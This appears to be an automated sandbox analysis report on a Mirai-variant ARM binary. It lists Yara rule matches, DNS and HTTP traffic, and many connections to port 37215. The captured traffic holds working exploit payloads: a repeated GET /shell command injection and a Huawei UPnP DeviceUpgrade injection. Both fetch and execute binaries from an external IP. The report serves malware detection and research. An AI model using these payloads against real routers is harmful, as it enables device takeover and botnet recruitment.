Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: scamanje.stresserit.pro

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: arm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: arm.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: arm.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6259.1.00007f3018017000.00007f3018028000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6259.1.00007f3018017000.00007f3018028000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6263.1.00007f3018017000.00007f3018028000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6263.1.00007f3018017000.00007f3018028000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: arm.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: arm.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6259.1.00007f3018017000.00007f3018028000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6259.1.00007f3018017000.00007f3018028000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6263.1.00007f3018017000.00007f3018028000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6263.1.00007f3018017000.00007f3018028000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal96.troj.linELF@0/0@82/0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 38452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32936 -> 37215
